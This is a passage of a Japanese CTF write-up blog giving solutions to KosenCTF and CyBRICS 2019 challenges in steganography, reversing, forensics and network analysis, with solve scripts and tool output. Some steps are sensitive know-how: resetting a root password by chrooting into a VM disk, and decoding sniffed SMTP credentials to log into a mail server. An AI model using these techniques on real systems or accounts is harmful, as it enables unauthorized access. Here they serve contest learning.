  3. 0~2の乱数を生成し、0なら赤、1なら緑、2なら青の最下位ビットにフラグのビットを挿入する。
  4. 3を画像のピクセル数分繰り返す。
  5. 画像をtar.gzで圧縮し、ファイルとして保存する。

上記と逆の手順を行うプログラムを作成しました。 初期seed値が正確に分からないので、「steg_emiru.png」のタイムスタンプから1秒ずつ遡りながら、 可読文字列が現れるまで、復号を繰り返すようにしました。

from PIL import Image
import string
import random
import os

def decrypt_steg(timestamp, filepath):
    random.seed(timestamp)

    bin_flag = []
    img = Image.open(filepath)
    w, h = img.size
    i = 0
    for x in range(w):
        for y in range(h):
            r, g, b = img.getpixel((x, y))
            rnd = random.randint(0, 2)
            if rnd == 0:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(r & 1)
            elif rnd == 1:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(g & 1)
            elif rnd == 2:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(b & 1)
            i += 1

    flag = ""
    for b in zip(*[iter(bin_flag)] * 8):
        c = 0
        for i in range(8):
            c = c | (b[i] << i)
        flag += chr(c)
    return flag

def main():
    filepath = "./steg_emiru.png"
    timestamp = int(os.stat(filepath).st_mtime)
    for i in range(10):
        flag = decrypt_steg(timestamp - i, filepath)
        if all(c in string.printable for c in flag):
            print(flag)
            break

if __name__ == "__main__":
    main()

上記のプログラムを実行すると、フラグを取得することができました。

$ python3 .\solve.py
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}K
# 省略

FLAG

KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}

lost world(easy, forensics)

問題

lost world:
TAGS: easy, forensics
FILE: https://mega.nz/#!xxMgQAyb!8NxVb2uLE-duIc5OardUdSNh_5j4QbbpxBggjZ0asvE
Message:
Can you restore my root user? I don't remember the password. Try running dmesg | grep KosenCTF after logging in.

解答例

大きめのファイルをダウンロードすると、vdi形式のファイル(lost_world.vdi)が出てきました。 問題にもある通り、パスワードを忘れてしまったPCにログインできれば、良いようです。 以下の手順でrootのパスワードを変更してログインすることにしました。

  1. VirtualBoxに「lost_world.vdi」とUbuntuのライブDVDを刺した状態にし、UbuntuのライブDVDを起動します。
  2. Ubuntuを試す」を選択する。
  3. Terminal(Ctrl-Alt-T)を起動する。
  4. rootユーザになる。
    $ sudo su
    
  5. マウントすべきディスクを探す。
    $ fdisk -l
    
  6. 対象のディスクをマウントする。
    $ mkdir /mnt/lost_world
    $ mount /dev/sda1 /mnt/lost_world
    
  7. chrootでルートディレクトリを変更する。
    $ chroot /mnt/lost_world
    
  8. rootのパスワードを任意の値に変更する。
    $ passwd root
    
  9. 終了して再起動する。lost_world.vdi側を起動させる。
  10. rootユーザでログインします。
  11. 「dmesg | grep KosenCTF」と入力するとフラグが取得できます。
    f:id:tsalvia:20190811185612p:plain

FLAG

KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}

magic function(easy, reversing)

問題

magic function:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/8e731bccdb9546bb94c03cee5bac62bf/magic_function.tar.gz

解答例

ファイルをダウンロードすると、64bitのELFバイナリが出てきました。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped

とりあえず実行してみると、「NG」とだけ表示されます。

$ ./chall
NG

バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、「basic crackme」と違い、今度はコマンドライン引数に完全なフラグを与える必要があるようです。 正しいフラグの場合、「OK」と表示されます。

f:id:tsalvia:20190812022107p:plain

今回は、angrを使って解きました。 フラグサイズ(0x18)と成功時に到達するアドレス(0x40086a)を指定しただけのスクリプトです。

import angr
import claripy

def main():
    p = angr.Project("./chall")
    flag = claripy.BVS("flag", 8 * 0x18)
    state = p.factory.entry_state(args=["./chall", flag])
    simgr = p.factory.simgr(state)
    simgr.explore(find=0x40086a)
    print(simgr.found[0].solver.eval(flag, cast_to=bytes))

if __name__ == "__main__":
    main()

上記スクリプトを実行すると、フラグが表示されました。

FLAG

KosenCTF{fl4ggy_p0lyn0m}

passcode(easy, reversing)

問題

passcode:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/6a5e27eb80a44468ad8bf77c2a94a16a/passcode.tar.gz

解答例

ファイルをダウンロードすると、32bitのPEファイルが出てきました。

$ file passcode.exe
passcode.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

とりあえず実行してみると、以下のようなキーパットが出てきました。 この9つのボタンを正しく入力すると、フラグが出てくるようです。

f:id:tsalvia:20190813034726p:plain

32bitの.NET assemblyなので、dnspy-x86で開いてみました。

// 省略
namespace passcode
{
    // Token: 0x02000002 RID: 2
    public class Form1 : Form
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public Form1()
        {
            this.InitializeComponent();
            this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
            select (int)(c - '0')).ToList<int>();
            this.debug();
            this.reset();
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020AC File Offset: 0x000002AC
        private void reset()
        {
            this.vars = new List<int>
            {
                1,
                2,
                3,
                4,
                5,
                6,
                7,
                8,
                9
            };
            this.indices = new List<int>();
            this.state = new List<int>();
        }

        // Token: 0x06000003 RID: 3 RVA: 0x0000211C File Offset: 0x0000031C
        private void shuffle()
        {
            int num = 0;
            foreach (int num2 in this.state)
            {
                num = num * 10 + num2;
            }
            Random random = new Random(num);
            for (int i = 0; i < 9; i++)
            {
                int index = random.Next(9);
                int value = this.vars[i];
                this.vars[i] = this.vars[index];
                this.vars[index] = value;
            }
        }

        // Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC
        private void push(int index)
        {
            this.indices.Add(index);
            this.state.Add(this.vars[index]);
            this.shuffle();
            if (this.state.SequenceEqual(this.correct_state))
            {
                string text = "";
                for (int i = 0; i < this.indices.Count / 3; i++)
                {
                    text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
                }
                MessageBox.Show(text, "Correct!");
            }
        }

        // Token: 0x06000005 RID: 5 RVA: 0x00002284 File Offset: 0x00000484
        private void Button1_Click(object sender, EventArgs e)
        {
            int index = int.Parse(((Button)sender).Name.Substring(6)) - 1;
            this.push(index);
        }
        // 省略

ソースコードを読んでみると、正しいstateになるようにキーを123回入力する必要があるようです。 しかも、キー入力のたびに、shuffle関数によって、入力値がランダムで並び替えられてしまいます。 幸いにもseed値は、現在のstateから算出しているため容易に予測することができます。

上記のことを踏まえ、dnspy-x86の機能を使い、以下のようにpush関数を書き換えました。 どれかのボタンが入力されると、フラグが出力されるように変更しています。

private void push(int index)
{
    for (int i = 0; i < 123; i++)
    {
        for (int j = 0; j < 9; j++)
        {
            if (this.vars[j] == this.correct_state[i])
            {
                this.indices.Add(j);
                this.state.Add(this.vars[j]);
            }
        }
        this.shuffle();
    }
    if (this.state.SequenceEqual(this.correct_state))
    {
        string text = "";
        for (int k = 0; k < this.indices.Count / 3; k++)
        {
            text += ((char)(this.indices[k * 3] * 64 + this.indices[k * 3 + 1] * 8 + this.indices[k * 3 + 2])).ToString();
        }
        MessageBox.Show(text, "Correct!");
        Console.WriteLine(text);
    }
}

実行すると、メッセージボックスにフラグが出力されます。

f:id:tsalvia:20190812060116p:plain

FLAG

KosenCTF{pr3tty_3asy_r3v3rsing_cha11enge}

saferm(medium, forensics)

問題

saferm:
TAGS: medium, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/627b4d6651844980ba3eb28b52be3f11/saferm.tar.gz

解答例

ファイルをダウンロードすると、ディスクイメージ(disk.img)が出てきました。

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,0,2), end-CHS (0x1,70,5), startsector 1, 20479 sectors

Autopsyでdisk.imgを開くと、2つの怪しいファイル(saferm、document.zip)が出てきました。

f:id:tsalvia:20190812185756p:plain

safermは、64bitのELFファイル、document.zipは壊れているようです。

$ file saferm
saferm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=56290bd1c9e89a65dad224953667d84270822d9a, not stripped
$ file document.zip
document.zip: data

safermは、ELFファイルなので、Ghidraで開いてみました。

f:id:tsalvia:20190812185908p:plain

デコンパイル結果を読んでみると、/dev/urandomから8バイト取得し、その値をキーにXORでデータを暗号化しているようでした。 おそらく、document.zipは、safermで暗号化されたようです。

document.zipは、おそらくzipファイルなので、zipヘッダを基にXORキーを求めました (XORキー = 「50 4B 03 04 14 00 00 00」^ 「7E 1C AE 2A EB C8 CA 49」)。

f:id:tsalvia:20190812185351p:plain

今回は、CyberChefでXORキーを求めました。

f:id:tsalvia:20190812185502p:plain

求めたXORキー(2E 57 ad 2E FF C8 CA 49)を基にdocument.zipを復号します。

f:id:tsalvia:20190812185609p:plain

復号したzipファイルを展開すると、document.pdfが入っていました。 このファイルを開くと、フラグを確認することができました。

f:id:tsalvia:20190812185644p:plain

FLAG

KosenCTF{p00r_shr3dd3r}

CyBRICS CTF 2019 Writeup

CyBRICS CTF 2019 について

CyBRICS CTF 2019 が開催されました。
2019年7月20日 午後7時~7月21日 午後7時(24時間)

cybrics.net

CyBRICS CTF 2019は、1位~3位に賞金の出る大会です。 なんと、1位は、10,000 USDももらえるそうです。 ただし、参加制限があり、残念ながら国籍フィルターで日本人は除外されてしまいます。

BRICS — that you're from Brazil, Russia, India, China or South Africa;

今回は、「バラバラで参加しよう」という話になり、一人で参加しました。 結果は、92/775位で266点でした。 幅広いジャンルでの問題が多かった印象です。 難易度も易しいものから高難易度の問題まで幅広く用意されていました。 一人では全然時間が足りなかったので、次回は複数人で参加したいです。

f:id:tsalvia:20190721203801p:plain

CyBRICS CTF 2019 Writeup(10問)

Mic Check (Cyber, Baby, 10 pts)

問題

Have you read the game rules? There's a flag there.

解答例

Welcome問題、ゲームルールのリンク先にあるフラグを投入するだけ。

f:id:tsalvia:20190721213218p:plain

FLAG

cybrics{W3lc0M3_t0_t3h_G4M#}

Warmup (Web, Baby, 10 pts)

問題

E_TOO_EASY
Just get the flag

解答例

問題のリンクをクリックすると、304で別のページにリダイレクトされてしまいます。 curlで直接リンク先を確認すると、末尾にBase64エンコードされたデータが確認できました。

$ curl http://45.32.148.106

<html>
        <script language="JavaScript">
                function func() {
                  document.location.href = 'final.html'
                }
                </script>
<body onload=func()>
<p>
But at this moment to take its place?<br/>
It’s getting cold,” said Zametov. “Only the other end, waiting for her brother, but she said that he had come to that, nervous irritability from hunger, she falls to beating them at once, and warmly pressed his head was clear that he was talking nonsense, Sonia,” he muttered bitterly.<br/>

省略

And what if I hear any rumours, I’ll take it back in time,” struck him like a chicken in the stinking, dusty town air.<br/>
Such was the hundredth part of Russia on a line you won’t be angry with me at once whispered almost aloud to the pavement.<br/>
She was a lie at first?”<br/>
Dounia remembered her pale lips was full of people in it when we spoke of you at least!<br/>
For if Sonia has not gone off on the untouched veal, which was in great haste.<br/>
She gave me with their long manes, thick legs, and slow even pace, drawing along a perfect right to kill him as strange and shocking sight.<br/>
Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=
</p></body></html>

Base64でデコードすると、フラグを取得することができました。

$ echo "Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=" | base64 -d
cybrics{4b646c7985fec6189dadf8822955b034}

FLAG

cybrics{4b646c7985fec6189dadf8822955b034}

Sender (Network, Baby, 10 pts)

問題

We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that.
intercepted_text.txt
Get us their secret documents

添付ファイル(intercepted_text.txt)

220 ugm.cybrics.net ESMTP Postfix (Ubuntu)
EHLO localhost
250-ugm.cybrics.net
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6
ZmF3a2Vz
334 UGFzc3dvcmQ6
Q29tYmluNHQxb25YWFk=
235 2.7.0 Authentication successful
MAIL FROM: <fawkes@ugm.cybrics.net>
250 2.1.0 Ok
RCPT TO: <area51@af.mil>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>
Subject: add - archive pw
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0

=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
.
250 2.0.0 Ok: queued as C4D593E8B6
QUIT
221 2.0.0 Bye

解答例

末尾の方に Quoted-printable でエンコードされたデータがあるので、とりあえずデコードしてみました。

=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A

デコードするとパスワードが手に入りました。 フラグは、アーカイブファイルの中にあるようです。

btw.

password for the archive with flag: crack0Weston88vertebra

cheers!

次に、問題文の先頭にあるドメインを足掛かりに調べます。 とりあえず、nmapで調査をしてみます。 sshpop3のポートが開いていることが分かりました。

PS> nmap ugm.cybrics.net
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-20 20:17 ???? (?W???)
Nmap scan report for ugm.cybrics.net (136.244.67.129)
Host is up (0.24s latency).
rDNS record for 136.244.67.129: 136.244.67.129.vultr.com
Not shown: 995 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
110/tcp open     pop3
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 13.71 seconds

問題文に書かれているものは、pop3のコマンド履歴だったようです。 また、問題文の「AUTH LOGIN」付近を見ると、ログインユーザとパスワードがBase64エンコードされていました。

$ echo "ZmF3a2Vz" | base64 -d
fawkes
$ echo "Q29tYmluNHQxb25YWFk=" | base64 -d
Combin4t1onXXY

ユーザ名、パスワードが分かったので、telnetで接続します。 接続できたら、「LIST」コマンドでメール一覧を確認し、「RETR <メール番号>」コマンドでメール内容を確認します。

$ telnet ugm.cybrics.net 110
USER fawkes
PASS Combin4t1onXXY
LIST
RETR 1

メールを確認すると、zipファイルが添付されているようです。 Base64エンコードされているので、デコードすると暗号付きzipファイルが出てきました。

Return-Path: <fawkes@ugm.cybrics.net>
X-Original-To: fawkes@ugm.cybrics.net
Delivered-To: fawkes@ugm.cybrics.net
Received: by sender (Postfix, from userid 1000)
        id B83843EBFF; Thu, 18 Jul 2019 16:41:23 +0000 (UTC)
Date: Thu, 18 Jul 2019 16:41:23 +0000
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>, fawkes <fawkes@ugm.cybrics.net>
Subject: interesting archive
Message-ID: <20190718164123.GA9631@ugm.cybrics.net>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf"
Content-Disposition: inline
User-Agent: Mutt/1.5.24 (2015-08-30)


--J2SCkAp4GZ/dPZZf
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

take a look. dont share. secret.

--J2SCkAp4GZ/dPZZf
Content-Type: application/zip
Content-Disposition: attachment; filename="secret_flag.zip"
Content-Transfer-Encoding: base64

UEsDBBQACQBjAMua8k6A+vIXUogBAA+iAQAPAAsAc2VjcmV0X2ZsYWcucGRmAZkHAAEAQUUD
CAC1GtwFWQRy7mwXUpknBhOJ3hpnDv1ei1Kf+knOhoW61yeyPdnML4vSrff+GUxQYCGKz6SB
txgPjLvcWjoZokQBxFczx5575Z8Wv6dcwrX2X5A4WUFP+vpXBeq7E/c1Q7T87mR2WJnrhqLs
253Zoz1KC2kq+Gs/KXZILyxSzFWW6h7YLlozE6ru/f8WGtlLZzw5CXMdTcaZFGBjJX9jsqqY
以下省略

冒頭で取得したパスワードを使って展開すると、PDFファイルが出てきました。 PDFファイルを開くと、フラグが書かれていました。

f:id:tsalvia:20190720205358p:plain

FLAG

cybrics{Y0uV3_G0T_m41L}

Honey, Help! (rebyC, Baby, 10 pts)

問題

Added at 10:50 UTC: there was a typo in the flag. Please re-submit.
HONEY HELP!!!
I was working in my Kali MATE, pressed something, AND EVERYTHING DISAPPEARED!

I even copied the text from terminal

f:id:tsalvia:20190721222037p:plain

リンク先のファイル(text from terminal)

root@myLOVELYcomputer:~/cybrics# ls -la
total 12
drwxr-xr-x  2 root root 4096 Jul 22  2019 .
drwxr-xr-x 21 root root 4096 Jul 22  2019 ..
-rw-r--r--  1 root root   44 Jul 22  2019 flag
root@myLOVELYcomputer:~/cybrics# echo $'\e(0'

⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ┌⎽ -┌▒
├⎺├▒┌ 12
␍⎼┬│⎼-│⎼-│  2 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22  2019 .
␍⎼┬│⎼-│⎼-│ 21 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22  2019 ..
-⎼┬-⎼--⎼--  1 ⎼⎺⎺├ ⎼⎺⎺├   44 J┤┌ 22  2019 °┌▒±
⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ␌▒├ °┌▒± 
␌≤␉⎼␋␌⎽π␤0┌≤_␌⎼4⎻_1⎽_├␤␋⎽_▒┌13┼␋$␤_0⎼_┬4├?£
⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# 

解答例

自分のPCで実際に echo $'\e(0' を実行して、気合で置換していきました。
もっとスマートな解き方が知りたい。

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
と入力すると、以下のようになります。

f:id:tsalvia:20190721223218p:plain

FLAG

cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}

Tone (Forensic, Baby, 10 pts)

問題

Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
youtu.be/11k0n7TOYeM

解答例

リンクを踏むと、限定公開のYoutubeの動画に飛ばされます。 よく耳を澄ますと、電話の入力音(DTMF)が聞こえてきます。

Youtubeの音声を録音し、Audacityで少しずつ再生しながら耳コピしました。 個人的には、再生速度を上げると違いが分かりやすかったです。

f:id:tsalvia:20190721224435p:plain

音声の比較対象として、こちらのサイトも参考にしました。

onlinetonegenerator.com

耳コピした結果が以下の通りとなります。

222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666  66  2 555 333 555 2 4

これらの番号は、携帯電話のキーパッドと対応しています。 割り当てると、以下の通りになります。

c y b r i c s s e c r e t t o n a l f l a g

フラグの形式に合わせて整形したものが、フラグとなります。

FLAG

cybrics{secret tonal flag}

Oldman Reverse (Reverse, Baby, 10 pts)

問題

I've found this file in my grandfather garage. Help me understand what it does
oldman.asm

添付ファイル(oldman.asm)

.MCALL  .TTYOUT,.EXIT
START:
    mov   #MSG r1 
    mov #0d r2
    mov #32d r3
loop:       
    mov   #MSG r1 
    add r2 r1
    movb    (r1) r0
    .TTYOUT
    sub #1d r3
    cmp #0 r3
    beq     DONE
    add #33d r2
    swab r2
    clrb r2
    swab r2    
    br      loop      
DONE: 
    .EXIT

MSG:
    .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"
.end START

解答例

見慣れない命令(swabやclrb)を調べていると、PDP-11と呼ばれる古いコンピュータのアセンブリだということが分かりました。

ja.wikipedia.org

アセンブリを読んでいくと、33文字毎にMSGをローテートして表示するプログラムのようです。 C言語に読み換えて実装してみました。このプログラムを実行すると、フラグが取得できます。

#include <stdio.h>
#include <string.h>

int main(void)
{
    char msg[] = "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}";

    int i;
    for (i = 0; i < 32; i++) {
        char tmp[100] = {};
        putchar(*msg);
        memcpy(tmp, msg, 33);
        memmove(msg, msg + 33, strlen(msg) - 33);
        memcpy(msg + strlen(msg) - 33, tmp, 33);
    }
    putchar('\n');
    return 0;
}

FLAG

cybrics{pdp_gpg_crc_dtd_bkb_php}

Matreshka (Reverse, Easy, 50 pts)

問題

Matreshka hides flag. Open it
matreshka.zip

解答例

zipファイルを展開すると、クラスファイルとdataファイルが入っていました。

$ file *
Code2.class: compiled Java class data, version 54.0
data.bin:    data

とりあえず実行してみると、Noと表示されます。

PS> java.exe Code2
No

jadを使ってデコンパイルしてコードを確認してみます。

PS> jad.exe .\Code2.class
Parsing .\Code2.class... Generating Code2.jad

デコンパイル結果を確認すると、どうやらユーザ名が正しくないと「No」となってしまうようです。

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   2.java

import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

class Code2
{

    Code2()
    {
    }

    public static byte[] decode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(2, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static byte[] encode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(1, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static void main(String args[])
        throws Exception
    {
        String s = "matreha!";
        byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s);
        byte abyte1[] = {
            76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 
            92, 1, 99, -94, 105, -18
        };
        for(int i = 0; i < abyte1.length; i++)
            if(abyte1[i] != abyte0[i])
            {
                System.out.println("No");
                return;
            }

        File file = new File("data.bin");
        FileInputStream fileinputstream = new FileInputStream(file);
        byte abyte2[] = new byte[(int)file.length()];
        fileinputstream.read(abyte2);
        fileinputstream.close();
        byte abyte3[] = decode(abyte2, System.getProperty("user.name"));
        FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin");
        fileoutputstream.write(abyte3, 0, abyte3.length);
        fileoutputstream.flush();
        fileoutputstream.close();
    }
}

上記のコードを書き換えて、本来のユーザ名を特定します。

import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

class Matreshka
{

    Matreshka()
    {
    }

    public static byte[] decode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(2, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static void main(String args[])
        throws Exception
    {
        String s = "matreha!";
        byte abyte1[] = {
            76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 
            92, 1, 99, -94, 105, -18
        };
        byte dec_abyte1[] = decode(abyte1, s);
        System.out.println(new String(dec_abyte1));
    }
}

上記のプログラムを実行して確認すると、「lettreha」が本来のユーザ名だと分かりました。

PS> javac .\Matreshka.java
PS> java Matreshka
lettreha

元のソースコードSystem.getProperty("user.name") のところを「lettreha」に置き換えました。

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   2.java

import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

class Code2
{

    Code2()
    {
    }

    public static byte[] decode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(2, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static byte[] encode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(1, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static void main(String args[])
        throws Exception
    {
        String s = "matreha!";
        String username = "lettreha";
        // byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s);
        byte abyte0[] = encode(username.getBytes(), s);
        byte abyte1[] = {
            76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 
            92, 1, 99, -94, 105, -18
        };
        for(int i = 0; i < abyte1.length; i++)
            if(abyte1[i] != abyte0[i])
            {
                System.out.println("No");
                return;
            }

        File file = new File("data.bin");
        FileInputStream fileinputstream = new FileInputStream(file);
        byte abyte2[] = new byte[(int)file.length()];
        fileinputstream.read(abyte2);
        fileinputstream.close();
        // byte abyte3[] = decode(abyte2, System.getProperty("user.name"));
        byte abyte3[] = decode(abyte2, username);
        FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin");
        fileoutputstream.write(abyte3, 0, abyte3.length);
        fileoutputstream.flush();
        fileoutputstream.close();
    }
}

上記のプログラムを実行すると、「stage2.bin」というファイルが生成されました。

PS> javac .\Code2.java
PS> java Code2

2つ目のファイルは、ELFファイルのようです。

$ file stage2.bin
stage2.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

とりあえず、実行してみましたが、やはり「Fail」と表示されるようです。

$ ./stage2.bin
Fail

まずは、gdb-pedaで「Fail」の表示箇所を見つけます。 writeシステムコールでbreakさせて、少しステップ実行してみます。

gdb-peda$ catch syscall 1
gdb-peda$ r

すると、エラーを表示していそうな箇所を見つけることができました。

[----------------------------------registers-----------------------------------]
RAX: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...)
RBX: 0x427890 (<runtime.printunlock+96>:        jmp    0x427830 <runtime.printunlock>)
RCX: 0xc0000003b1 --> 0x100000000000001
RDX: 0x0
RSI: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...)
RDI: 0x2
RBP: 0xc00002a788 --> 0xc00002a790 --> 0x428737 (<runtime.main+519>:    mov    eax,DWORD PTR [rip+0x121b93]        # 0x54a2d0 <runtime.runningPanicDefers>)
RSP: 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base  code="...)
RIP: 0x47630d (<main.main+861>: mov    rbp,QWORD PTR [rsp+0xb8])
R8 : 0x5
R9 : 0x5
R10: 0x5
R11: 0x206
R12: 0xc ('\x0c')
R13: 0xb ('\x0b')
R14: 0x200
R15: 0x200
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
